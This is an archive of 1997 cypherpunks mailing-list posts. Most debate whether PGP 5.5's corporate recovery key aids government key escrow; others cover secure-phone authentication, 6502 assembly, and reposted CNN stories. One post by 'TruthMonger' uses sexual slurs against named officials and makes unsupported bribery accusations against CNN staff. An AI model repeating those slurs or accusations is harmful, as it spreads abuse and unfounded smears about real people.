MIME-Version: 1.0
Content-Type: text/plain




[I've moved this thread to cypherpunks, it was on cryptography, and
Perry (cryptography moderator) just killed the thread.  Some of the
participants may not be on cpunks, so keep them on the cc if you want
them to see your replies]

Marc Horowitz <marc@cygnus.com> writes:
> >> > What makes you think that all critical email is on disk in the clear?
> >> 
> >> Nothing: it could be on disk encrypted.  eg. Encrypted files encrypted
> >> with storage keys, or encrypted partition encrypted with storage key,
> >> or encrypted sent or received email encrypted with storage key.
> 
> Well, if it's encrypted on disk, then "you read the disk" doesn't get
> you very far.  You need to be able to decrypt the information on the disk.

Of course you do.  Lets say you are using Peter Gutmanns encrypted
filesystem setup.  So, if you figure the info on the disk is
important, you give a copy of the key to the company lawyer, put it in
the fire proof safe, secret split it, whatever tickles your fancy.

The advantage of this is that the email software it is no use to the
GAKkers, because it doesn't have mildly enforced extra crypto
recipients, and it doesn't get the business community used to the idea
of shipping email around with extra doors into it.  PGP Inc's pgp5.5
could be used by the government to weedle their way into mandatory key
escrow.  Say that they start requiring companies to use this software,
then when lots of companies start using it, they start asking
companies for a copy of the company master key.  Bingo key escrow,
courtesy of PGP Inc.  Next they "encourage" ISPs to use it also.

> >> The way to do it is as described above.  Archive the email, encrypt it
> >> to a starage key.  Build that functionality into the MUA if you fancy.
> >> But _don't_ give extra access to keys used for communications only.
> 
> There is no extra access to communication keys.

There is so!  His mail said that there was a policy flag in the public
key, and an additional public key for the corporate back door.  That
policy flag effectively said this key has attached to it a request
that you encrypt to this extra crypto recipient.  In some cases an
additional flag will be set which says "if you do not comply with the
request to encrypt to the extra crypto recipient, the recipient will
not see the mail".  PGP Inc's method of enforcing this is an SMTP
policy enforcer which bounces mail without the extra crypto recipient.

There, that is an extra access to the communication (via an extra
route to accessing the session key).

Uhhh, I think I just realised why we are talking at cross
purposes... you meant extra access to the recipients private key.  I
consider this an artificial straw man, erected by Jon.  Sure it's an
independently dumb idea to have lots of people sharing private keys.
But the system is still GAK friendly.  And it does allow extra parties
access to the message.  The worry is that government becomes that
second party.

Do you really care about the details of mandatory GAK, when and if it
comes in.  Do you care whether the government has a copy of your
private encryption key, or whether the system is setup with
un-bypassable second crypto recipient of the USG/NSA etc.  Can't see
that it makes much difference at that point.

Both methods can be bypassed theoretically anyway, by super encrypting
or any other subliminal channels kicking around in the protocols.  So
I can't see that arguments about how easy they are to bypass hold much
water.  Frisbeeing a disk out the window is far easier a way to bypass
anyway.  Or just blabbing.

> >> Hint: you will note that Freeh and friends aren't interested in
> >> storage keys.  You can see why the above systems is less GAK friendly
> >> right?
> 
> Freeh wants storage keys, too.  He wants *all* the keys.

Yeah he probably does.  But he wants your communications keys a lot
more.

You know why that is?

Because he has your communications because you're broadcasting them
across the Internet.  He'd like to read them.

However he doesn't have your disk, and he'd have to break into your
offices to get it, or issue you with a supeona or whatever.  I'm sure
he'd love to read your disk too, but your disk isn't sitting on an NFS
mount over the internet.  (Is it!?)  Fortunately, the internet
couldn't handle the strain, otherwise you might see calls for you to
rent your disk space of government disk farms, and the government
would then be very interested in demanding a copy of your storage keys.

So, if even if we use corporate key backup for storage keys, this is
still more along the lines of the status quo.  They want your
documents, they've gotta come and get them.

What we'all are getting worked up about here is that Freeh and friends
want to be able to key word search our damn communications on fishing
expeditions.

> Email is a funny thing.  It's sort of storage, and sort of
> communications.  I can understand wanting to recover it from a
> communications aspect.  They don't call SMTP "store-and-forward" for
> nothing.

There is no information in the body of the message which is required
for it to get to it's destination.  All you need is the SMTP headers.
You clearly can't end-to-end encrypt the communications routing
information.  (You could layer it though, like perhaps remailers, with
each hop only knowing what it needs to know to do it's job; however at
that point you can run into problems: you can't bounce back a delivery
failure part way along the route.)

> You'll notice that if I delete the messages after receiving it, it
> can't be recovered.  If I don't, it can.  Sound like storage to me.

So?

The point is that you shouldn't be mixing key purposes.
Communications private keys should be used to protect communication
and shouldn't be given to anyone else, even your company.  Storage
keys might be sensible things to backup within the company in case of
accidental death.

Actually I disagree with what you said: you said "if I delete the
message after receiving it, it can't be recovered", it might easily be
recovered in lots of ways:

1. feds have tap on your line, feds rubber hose your long term private
key out of you

2. your sender has kept a copy in the clear

3. your sender has kept a copy encrypted with a poor passphrase which
the feds guess/or rubber hose from him

4. your sender used encrypt-to-self, and has poor
passphrase/is passphrase rubber hosed

5. your sender kept a copy which still had you as a crypto recipient
(as well as himself with encrypt-to-self), and the feds arrive at your
door anyway.


Point is, as long as you've got the private keys, it is potentially
stored, courtesy of your favourite TLA.  This is why you should use
forward secrecy, or at least mimic it, by having a long term signature
key, and generating a new public key for encryption every week/month,
and revoking and destroying the old one.

> >> I figure it's not that major a deal.  But for those that want it, the
> >> most secure, simultaneously least GAK friendly way to do it is to
> >> archive and encrypt with separate storage keys.
> 
> This is *exactly* what PGP does: it encrypts with the recipient key,
> and the recovery key.  

Yes, it does, and that is GAK friendly.  But that is not what I
described above.

The difference between what I describe above (quoted a few lines up),
and what PGP is doing is that PGP's messages are sent across the
internet encrypted to the "recovery key".  This is GAK friendly
because it is easy to implement GAK with it, you just make that
"recovery key" the NSA's "recovery key" (or to avoid newspeak terms
perhaps that should be government backdoor master key).  Then they
coerce ISPs and corporates to include a PGP SMTP policy enforcer which
insists on all email having a second crypto recipient of the NSA's
backdoor master key.  The system is a beautiful GAK system, everything
you need for a fully working GAK system is right there on sale by PGP
Inc.

With what I described, GAK is not possible.

What I described is: the MUA archives sent email, and archives
received email (after decryption) with none of this process leaking
outside the corporate lan (that is it may involve communication inside
the LAN).  The archives can be encrypted, and you can have a corporate
master key with access to these archives.  But none of this goes over
the Internet.

> At this point, I'm not sure if we disagree or not. 

I'm not sure either, please let me know if I've explained myself this
time!

I'm worried that the hard time I'm having getting people to grok that
escrowing comms keys is a bad idea if you're opposed to mandatory GAK
is indicative of the success of the memes being spread by Freeh's
crowd.  PGP Inc are especially worrying, as they are in a position to
influence the balance of whether we get GAK or not, and they appear to
be helping GAK out somewhat.  Whether this is complicit or whether
they don't see that the fact they've implemented a fairly feasible GAK
system as that significant in the argument, I'm not sure.


However, I think the argument it is relatively straight-forward:
companies care about backup of their data.  They don't care about
backup of their communications.  So why backup communications keys?
And why include the backup packet in the communication itself?

For those companies who have been persuaded that they ought to read
email received and email sent, you can implement this without
weakening comms security as PGP have done with pgp5.5 for business
which is to have a second crypto recipient for backup/backdoor being
sent with the message over the internet.

All you do for backup or company backdoor is to build in whatever
storage, and encrypted archiving functions you wish into the MUA, or
internal mail system.

That is GAK unfriendly.  If PGP Inc is still GAK unfriendly, and
hasn't sold out to government, it should be doing something with
similar properties to those I described above: not having backdoor
second recipient access to traffic. What they have done is implemented
a fully functional GAK system.

(I get the feeling that sooner or later we're going to get a PRZ
penned company position statement.  I hope they get it right.  I
encourage them to re-think.)

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Carl M. Ellison" <cme@acm.org>
Date: Thu, 9 Oct 1997 11:45:49 +0800
To: Bruce Schneier <schneier@counterpane.com>
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <v0300780ab0609577728b@[209.98.13.223]>
Message-ID: <v03007803b0620e1fb840@[168.143.8.144]>
MIME-Version: 1.0
Content-Type: text/plain



I thought when Phil showed me the corporate access option that the user had
the ability to remove that crypto-recipient by double clicking on it in the
window which pops up listing all crypto-recipients.  I may have been wrong.

I agree with you that the danger is in allowing the gov't to claim that
industry accepts GAK.  If this product were released with a sticker on
every copy to the effect that we citizens have always had a right to
attempt to keep a secret from gov't via crypto, then I'd feel better.

Meanwhile, aren't we overlooking the real issue here: that there are
apparently companies obnoxious enough to tell you you are not allowed to
send mail they can't read?  Little Brother may be as bad as Big Brother.

 - Carl


+------------------------------------------------------------------------+
|Carl M. Ellison   cme@acm.org     http://www.clark.net/pub/cme          |
|PGP: E0414C79B5AF36750217BC1A57386478 & 61E2DE7FCB9D7984E9C8048BA63221A2|
|  "Officer, officer, arrest that man!  He's whistling a dirty song."    |
+-------------------------------------------- Jean Ellison (aka Mother) -+






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 9 Oct 1997 12:20:40 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: 6502 ML programming
Message-ID: <199710090439.XAA16340@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 8 Oct 1997 23:10:26 -0400
> From: ghio@temp0132.myriad.ml.org (Matthew Ghio)
> Subject: Re: [LONG, off-topic]] Interactive Programming

> Reminds me of a time, years ago, where I was trying to modify a program
> written in 6502 assembler.

> Consider the following line of C code:
> 
>   result = function(x,y,z);
> 
> One could write this in 6502 assembler as:
> 
>   JSR function
>   DATA x
>   DATA y
>   DATA z
>   STA result
> 
> where x,y,z,result are pointers to storage locations.

There in no 'DATA' construct in 6502 assembly.

This is some sort of macro that either the assembler or programmer
defined. All official Rockwell/Commodore [1] 6502 assembly mnemonics are
three letter. There are NO official macro's from MOS Technologies under
either Rockwell or Commodore other than the ORG. ORG simply defined the
starting address for the target code.

The most efficient way to store data in 6502 is to put it in the first 256
bytes of ram, then it could be called in no more than 2 clock cycles. Also,
in 6502 good programmers use the branch instructions (BCC, BCS, BEO, BMI,
BNE, BPL, BVC, BVS) because the JSR required three bytes versus 2 bytes for
a Bxx. The only constraint was that the branch target must reside in the same
256 byte page as the branch itself. The biggest boo-boo committed here was not
realizing that branch offsets that took you across the upper page boundary
would leave you at the lower page boundary plus some remaining offset.

Idealy a jump table was created that had the various target addresses for your
routines. Then a Bxx followed by a indirect mode JMP (NOT a JSR). If that table
was in the first 256 bytes it was possible to save a whole clock cycle AND a
byte in the process. At 64k and 1Mhz clock these sorts of short-cuts were
significant.

Because of the architecture of the 6502 the 0 page of RAM was a very busy
place indeed because any operation there automaticaly saved a byte and a
clock cycle.



    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|


[1] Rockwell designed and sold the chip for several years and then in the
    late 70's Commodore bought MOS Technologies.

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@best.com>
Date: Thu, 9 Oct 1997 03:38:13 +0800
To: cypherpunks@toad.com (Cypherpunks)
Subject: [news] Azalea releases encryption software
Message-ID: <199710082339.XAA01190@fountainhead.net>
MIME-Version: 1.0
Content-Type: text



*** Azalea releases encryption software

Azalea Software has just released three new encryption and security
products: DESTools v1.5, BlowfishTools v1.5 and SHATools v1.0. All
three packages are SDK's (software developers kits) targeting Windows
developers who need to add encryption and security features to the
applications they write. DESTools and BlowfishTools provide
encryption and decryption based on the DES (Data Encryption Standard)
and Blowfish algorithms respectively. DES provides 56-bit keys and is
used extensively in banking and finance. (PR Newswire) For the full
text story,
http://www.infobeat.com/stories/cgi/story.cgi?id=5315843-c31

-- 
Powell lingered. "How's Earth?" 
It was a conventional enough question and Muller gave the 
conventional answer, "Still spinning."
				      -- "Reason", Asimov. 
==================================================================
Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@best.com 	                  | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Virtual Spaces





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 9 Oct 1997 12:25:32 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199710090444.XAA16394@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN logo 
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                  BROTHER'S BOOK: ATF BLEW UP MURRAH BUILDING
                                       
     James Nichols
     
  Jury selection continues in Denver courtroom
  
     October 8, 1997
     Web posted at: 10:21 p.m. EDT (0221 GMT)
     
     DECKER, Michigan (CNN) -- As jury selection continues in the trial
     of accused Oklahoma bombing conspirator Terry Nichols, his brother
     has published a book meant to plant the seeds of doubt about whether
     Nichols was involved in the worst terrorist attack ever on U.S.
     soil.
     
     The 415-page book, co-written with Bob Papovich, is called
     "Freedom's End: Conspiracy in Oklahoma." In it, James Nichols
     contends that his brother had nothing to do with the 1995 bombing,
     that a law enforcement agency actually blew up the building, and
     that the FBI has not investigated the case sufficiently.
       _______________________________________________________________
     
  "They have failed to prove anything. They have investigated people, but not
  the bombing, because all they want to do is prosecute people, not find out
  the truth."
  
    - James Nichols
    
     
       _______________________________________________________________
     
     
     
     Specifically, James Nichols contends that the plastic barrels found
     at his brother's Kansas home did not match those found in the rubble
     of the Alfred P. Murrah Federal Building in Oklahoma City. He also
     contends that the bomb did not contain ammonium nitrate, as
     prosecutors contend. vxtreme CNN's Ed Garsten reports. 
     
     James Nichols does admit that Timothy McVeigh, already convicted and
     sentenced to death in the attack that killed 168 people, was upset
     about a 1993 raid by Bureau of Alcohol, Tobacco and Firearms agents
     at the Branch Davidian compound in Waco, Texas. But he scoffs at the
     idea that was the motive for the Oklahoma bombing, as prosecutors
     say.
     
     "Getting back at the (ATF) is a really stupid argument. There were
     few (ATF) agents stationed at the Murrah building," he writes.
     Freedom's End
     
     Instead, James Nichols maintains that the ATF itself blew up the
     Murrah building as part of a cover up of what happened at Waco.
     
     He wrote, "Who benefits by destroying records that would prove that
     the (ATF) was lying about the alleged drug laboratory, illegal
     weapons and child abuse at (the Davidian compound)?"
     
     Contacted for a response, an ATF spokesman told CNN that the agency
     could not comment because of the ongoing trial of Terry Nichols in
     Denver.
     
     James Nichols is scheduled to testify in his brother's defense.
     
     For James Nichols, writing the book may have been easier than
     getting it published. He says mainstream publishers would not print
     it, so he and Papovich published it themselves and took out loans to
     pay for it. Nichols also says many books stores are refusing to
     carry it because of its controversial subject matter.
     
  Jury selection continues in Denver
  
     
     
     In Denver meanwhile, a second week of jury selection began in
     Nichols' trial in U.S. District Court. Terry Nichols
     
     A grandmother who said it would be a mortal sin for her to impose
     the death penalty, and who pleaded that she needed to be with a sick
     daughter, was dismissed Wednesday on grounds of hardship.
     
     "I could never think of putting a person to death, because how can
     you put a person to death when it won't bring the people back?" she
     asked. "It would be on a person's conscience."
     
     The woman is Catholic and Judge Richard Matsch asked if she
     considered it a mortal sin to sentence someone to death.
     
     "Yes," said the woman, "a mortal sin."
     
     She was followed by a man who designs packaging for the medical
     industry. He said the death penalty would be appropriate in "a crime
     where someone shows no remorse. It might be a very violent crime."
     
     Another prospective juror interviewed Wednesday morning was a man
     who at first said the death penalty should be automatic for anyone
     convicted of premeditated murder. Later, under questioning by U.S.
     District Court Judge Richard Matsch, the man conceded that he could
     consider the character and background of the defendant before
     imposing a death sentence.
     
     The court is attempting to find a pool of 64 "death
     penalty-qualified" jurors from which a final panel of 12 jurors and
     six alternatives will be chosen.
     
     Under federal law, jurors must agree that they can impose the death
     penalty but will also consider other sentences if mitigating
     circumstances warrant.
     
     Nichols, 42, could receive the death penalty if he is convicted of
     the murder and conspiracy charges he faces.
     
     Detroit Bureau Chief Ed Garsten contributed to this report. 
     
   rule
   
   Trial nav grfk 
   
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  CNN Community
     * Message board - OKC trials: Nichols and McVeigh
       
  Related feature
     * Time Magazine: 'What Nichols revealed'
       
     
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 9 Oct 1997 12:25:54 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199710090445.XAA16427@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



    CNN logo 
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   Pathfinder/Warner Bros 
   
   
   
   
   Main banner SAMSUNG Meet the Challenge rule
   
           WOMAN ADMITS SLAPPING ADOPTED CHILD ON FLIGHT FROM RUSSIA
                                       
     October 8, 1997
     Web posted at: 10:30 p.m. EDT (0230 GMT)
     
     NEW YORK (AP) -- A Phoenix woman testified Wednesday that on a
     12-hour flight from Moscow she may have slapped one of the two
     Russian girls she and her husband adopted.
     
     Karen Thorne said she was "very frustrated" in her attempts to calm
     the young girl on the crowded jet. She said difficulties began when
     she and her husband, Richard, met the 4-year-olds at an orphanage in
     Voronezh, about 12 hours north of Moscow by train.
     
     She said one child cried frequently and the other was initially
     warm, but then became aggressive and hard to manage. She said the
     children were difficult to control on a shopping trip in Moscow and
     while waiting to board the plane to New York.
     
     Three Texas men who were on the flight with their own newly adopted
     children said they saw the Thornes hit the girls. The Thornes were
     arrested upon landing and the girls were placed in foster homes,
     first in New York and now in Arizona, where the Thornes are
     permitted supervised visits.
     
     The Thornes have been charged with assault, harassment and
     endangering the welfare of the children. The Thornes speak only
     English; the children only Russian.
     
     Copyright 1997   The Associated Press. All rights reserved. This
     material may not be published, broadcast, rewritten, or
     redistributed.
     
   
     _________________________________________________________________
   
   Infoseek search ____________________ ____  ____
   
     _________________________________________________________________
   
   
   rule Message Boards Sound off on our
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   You said it... [INLINE] SAMSUNG Meet the Challenge rule
   To the top 
   
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 9 Oct 1997 06:55:21 +0800
To: jad@dsddhc.com
Subject: computationally infeasible jobs for MITMs (Re: Secure phone)
In-Reply-To: <3.0.3.32.19971008132417.00b0c6d0@labg30>
Message-ID: <199710082248.XAA01618@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




John Deters <jad@dsddhc.com> writes:
> It would be easy enough to "trick" the MITM into exposing their
> existance anyway, just by using digits that come up in conversation.
> Humans would be able to come up with unique situations that the MITM
> would find all but impossible to predict.  "Hey, Eric, I noticed
> that the third digit of your IP address' second octet is the same as
> the second digit of our exchange.  How's by you?"  A sudden dropout
> of sound (or "accidental" loss of connection) while the MITM
> recognizes the trap and tries to backpedal will be instantly
> noticed.  Human protocols are resilient, whereas mathematical
> protocols are precise.

I wonder if we can come up with a way to formalise this technique and
automate it.  I think it was James voiced something similar earlier in
the thread.

Using your example, the MITM faces a couple of problems: he has to
think on his toes, and think real fast.  Perhaps he can't think fast
enough.

Second problem, perhaps if he doesn't speak soon enough, he will have
blown it, because you are speaking continuously, and the second part
of the sentence constructs a problem from information already stated.
The first time the information is stated, the MITM doesn't have enough
information to change it.

Say he changed it to: "Hey eric I noticed the second digit..." (second
instead of third), just in case this would help him.  Well he doesn't
know what the challenge will be so he may just have created an
impossible to spoof problem for himself.  (The second digit probably
won't meet the challenge in the second part of the sentence).  So this
would force the MITM to construct a replacement challenge which does
match.  Given the short notice, and already decided first part, he may
have difficulty constructing a plausible sounding challenge which
meets his criteria.  "Is the ummm... square of your first digit".


How about this for a computerised method to do something similar.  Aim
of the game: to make the MITMs job computationally infeasible.

Say that we leave some noise in the speech channel.  Some of it isn't
really noise but encrypted data.  Say perhaps first stegoed packet is:

	E(k1, nonce) = packet1

and second stegoed packet is:

	E(k2, nonce) = packet2

and finally there is a mask which controls which bits of the noise are
actually encrypted data, and which are parts of the actual message.

Send this last:

	E(k3, mask)

Then send the three keys k1, k2, k3.

Then check that the packets1 and 2 reconsituted according to the mask
both decrypt to the same nonce.

The idea is that because of the mask, the MITM doesn't know which bits
to replace.  So he tries to construct his own challenge meeting that
protocol.  Fair enough he can do this.  But he will degrade the voice
quality because he will replace some more signal with noise.  Can we
tune this protocol so that the recipient can detect the extra noise?

Well, ok, if the recipient can detect the noise, surely the MITM can
too?  Yes but, choosing different bits to reduce the noise isn't free,
and the hope is that you can construct a system with an expensive
noise estimation function which is agreed to as part of the protocol.
So you find out 10 seconds into the conversation that there is a MITM.

The MITM has to compute this noise function in real time, to avoid
introducing lag.

It's not very good, but I'm sending it along anway, so that perhaps
y'all can improve on it,

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Rogaski <wendigo@ne-wendigo.jabberwock.org>
Date: Thu, 9 Oct 1997 11:55:41 +0800
To: pleontks@hotmail.com
Subject: Re: your mail
In-Reply-To: <19971009023118.27488.qmail@hotmail.com>
Message-ID: <199710090351.XAA11295@deathstar.jabberwock.org>
MIME-Version: 1.0
Content-Type: text



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

An entity claiming to be THE DUKE wrote:
: 
: Have you ever realized that this list is for straight-up (used loosely) 
: losers?

Didn't you receive the welcome message that specifically said "If you
are not a loser, unsubscribe NOW!"?

This apparent error will be sent to Customer Service right away.


: 
: The government is not planning to murder everyone.  The Government is 
: not keeping aliens in the 'basement'.  The X-Files are not real.  The 
: government is not murdering public figures, and setting-up pore, 
: civilian saps to take the fall.  The only thing that the Government is 
: doing is running our country the best it can.

1) Killing everyone, aside from being a public relations hassle, would
   reduce tax revenues.  Just not feasible.

2) I'm pretty sure Gillian Anderson and David Duchovny get a paycheck from
   some entity, so the X-Files (a TV show) does indeed exist.

3) The government is NOT murdering public figures and setting up porous
   saps to take the fall (spongiforms take comfort in this fact!).  The
   government IS murdering public figures and building widespread support
   for their actions via manipulation of the media.  Hey, we're #1!

4) Unfortunately, the gov't IS running this country the best it can.
   That's what scares us silly.


: 
: All you are doing for the Government, is finding fault and conspiracy in 
: every action.  You are destroying the Government, and are thereby 
: destroying America.

Even assuming that the nature of an entire nation is defined by the
government that holds power, I fail to see how criticism is interpreted
as being destructive against a government based upon the association of
open criticism and discussion with the proper functioning of government.

: 
: By even being a part of this list, you are confirming to the 
: mindlessness that you so hard are trying not to do.

Ahhhh, throwing me off balance through the use of an alien syntax.
Your Jedi tricks will not work on me!


: None of you have my pity.  I spit upon you all.
: 

Thanks for the warm fuzzies.

Doc

- -- 
[] Mark Rogaski                   "That which does not kill me
[] wendigo@pobox.com                 only makes me stranger."

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNDxUocHFI4kt/DQOEQJ1YACgtSiCeQT150hVyBTKeBe6FsSOpsUAoODa
qrc2NZZR/MXTQ/N9BpemMp8f
=kjhz
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 9 Oct 1997 18:05:07 +0800
To: cnn.feedback@cnn.com
Subject: Where is _my_ blowjob?
Message-ID: <343C739A.72AA@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Visited the CNN website earlier.

I wasn't at all surprised to see the factual errors and pandering to 
government spoon feeders for the main sources of many CNN stories.
After all, when Captial Hill'$ bottom feeders give away fify billion
dollars worth of valuable digital airwave bandwidth, I expect them to
ask for a few extras thrown in with the usual bribes and blow-jobs.

So it was no great surprise to find CNN still reporting the LIE that
the child-rapist/murderer in New Jersey had been a victim of a sexual
predator he had met on the InterNet, despite the fact that the news
services who *aren't* part of the fifty billion dollar giveaway of
taxpayer-citizen's public resources have been reporting the FACTS for
quite some time now.
Seems the guy bopping the murderer met him on a 1-900 line. 

Should I hold my breath waiting for the loud calls by reporters and
legislators for strict new laws taking away citizens' rights to
free speech on the phone systems of America, or would that be
dangerous to my health?

I know that CNN also has to fill in a few spaces between government
spoon-fed mind-control propaganda being fed to the citizens by the
recipients of the public largess, so that CNN is forced to throw in
a few quickie references to some other websites and information other
than that which comes directly out of the assholes of Lying Fuck Freeh
and Nazi Cunt Reno, such as:
Crime on the Superhighway 
http://www.geocities.com/CapitolHill/6647/
Investigator Lynn Zwicke

However, did somebody on the staff get a blow-job in return for
putting a supposed NEWS pointer to this schmuck's ADVERTISEMENT
for his or her PI business?
I certainly hope that this is the case, since someone should have gotten
*something* for opening CNN up to a lawsuit for providing a pointer to
an incompetent schmuck who is spreading extremely bad FUD (fear,
uncertainty, disinformation) in regard to child abuse and abusers,
in order to turn a quick buck.
I imagine that CNN has some fine-print disclaimer somewhere, explaining
that they are not responsible for the victims of incompetent and perhaps
unlicensed schmucks that CNN blesses with their own reputation capital
when directing people to supposed news/information sites, but I doubt
that the parent of an abused child or a falsely accused child abuse
victim is going to be to impressed, nonetheless, with CNN's lack of
integrity in not spending the time, effort and expense needed to 
make certain that they are not throwing their trusting readers into
the mouths of waiting hyenas.

I'm still waiting for the CNN story which replies to the DoJ and FBI
*HANDOUTS* detailing their list of 4,000 suspected pedophiles, with
a question as to whether some of the 800 LEA's present at the murder
of the religious group in Waco perhaps didn't have some extra time
on their hands that might have been better spent investigating all
of these alleged pedophiles, rather than pushing and shoving each
other to get pictures of burning children.
OK, I'm holding my breath, starting........NOW!

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Carl M. Ellison" <cme@acm.org>
Date: Thu, 9 Oct 1997 12:10:47 +0800
To: Eric Blossom <eb@comsec.com>
Subject: Re: Secure phone
In-Reply-To: <3.0.3.32.19971007102724.00a499c0@labg30>
Message-ID: <v0300780cb062157a72d1@[168.143.8.144]>
MIME-Version: 1.0
Content-Type: text/plain



Eric,

	I think you can make a stronger statement.

	With your phone, once you exchange the hash you have good assurance
that you have a private conversation with the person whose voice you hear.

	How you determine that that is the person you think it is/should be
is a different problem.

	As for proving lack of an eavesdropper, you would also need to
establish that the person's earpiece wasn't bugged, the person didn't
record the conversation to hand to someone else, ....

	For my purposes, the authentication is secure enough that I'm very
pleased.  The voice quality is good enough that I can recognize friends --
and if I'm calling a stranger, then the MITM is a moot point.  That is, if
I'm calling a stranger named Bob, there is no way for me to tell the
difference between:

	Carl -- Eve -- Bob
and
	Carl -- Bob -- Eve

since both Bob and Eve are strangers to me and I don't know Bob well enough
to rule out case 2.

 - Carl


+------------------------------------------------------------------------+
|Carl M. Ellison   cme@acm.org     http://www.clark.net/pub/cme          |
|PGP: E0414C79B5AF36750217BC1A57386478 & 61E2DE7FCB9D7984E9C8048BA63221A2|
|  "Officer, officer, arrest that man!  He's whistling a dirty song."    |
+-------------------------------------------- Jean Ellison (aka Mother) -+






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 9 Oct 1997 08:15:26 +0800
To: jon@pgp.com
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <3.0.3.32.19971008143320.00a9be80@mail.pgp.com>
Message-ID: <199710082309.AAA02193@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




[cryptography snipped, Perry's killed the thread]

Jon Callas <jon@pgp.com> writes:
> At 08:48 PM 10/7/97 -0500, Bruce Schneier wrote:
>    Jon Calis wrote:
>    If this is true (and I have no reason to believe it isn't), then
>    why is the key escrow code written (although not turned on) in
>    the source code for 5.0 that was posted internationally from PGP?
> 
> Bruce, I understand that you don't like any form of data recovery,
> but there is no key escrow in PGP. Perhaps we should talk about this
> on the phone.

Oooh.  PGP Inc damage control mode on <clunk>!

We all would like to hear the reason too, Jon :-)

>    Makes no sense.

Here are a couple of reasonably plausible ones:

- common source tree with #ifdefs for different products

- some functionality required even in non business version to inform
  user about policy flag meanings

btw I didn't read the source code quoted so that second attempt at a
plausible reason might be a dud.

btw2: it isn't just Bruce that doesn't like key escrow.
btw3: your definition of "data recovery" is wrong.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 9 Oct 1997 08:14:39 +0800
To: anon@anon.efga.org
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <b6eadab9ed323417eed33e59a019c8c9@anon.efga.org>
Message-ID: <199710090009.BAA02288@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Anonymous <anon@anon.efga.org> writes:
> Adam Back <aba@dcs.ex.ac.uk> writes:
> > 1. to allow access to important material lost in the mail system in the
> > event that an employee is hit by a bus
> > 
> > Argument 1 seems pretty flimsy to me.  I reiterate my comment in an
> > earlier post: who in their right mind keeps their _only_ copy of
> > ultra valuable company information bouncing around in the email
> > system?
> >
> > Regardless, if PGP claims to be catering to those who use this
> > argument, and to not want to try that hard to make it impossible to
> > by-pass, the more secure, and less GAK friendly way to do it is to
> > have the mail client software archive the email sent and received.

Thank you anonymous for some good feed back.

> Two problems.  First, not all mail clients let you archive the mail
> in a different form than how it arrived.

I was thinking more of a second archive for company use.  You can
leave the normal MUA archive alone if you have to.  The company
archive need not be on your machine; could, probably would, be another
machine inside the corporate LAN.

I do see advantages in using a different archive key for your own
archive if you can, but I don't think anybody much is doing this at
the moment anyway.

> Netscape 3 worked like this, maybe 4 too.

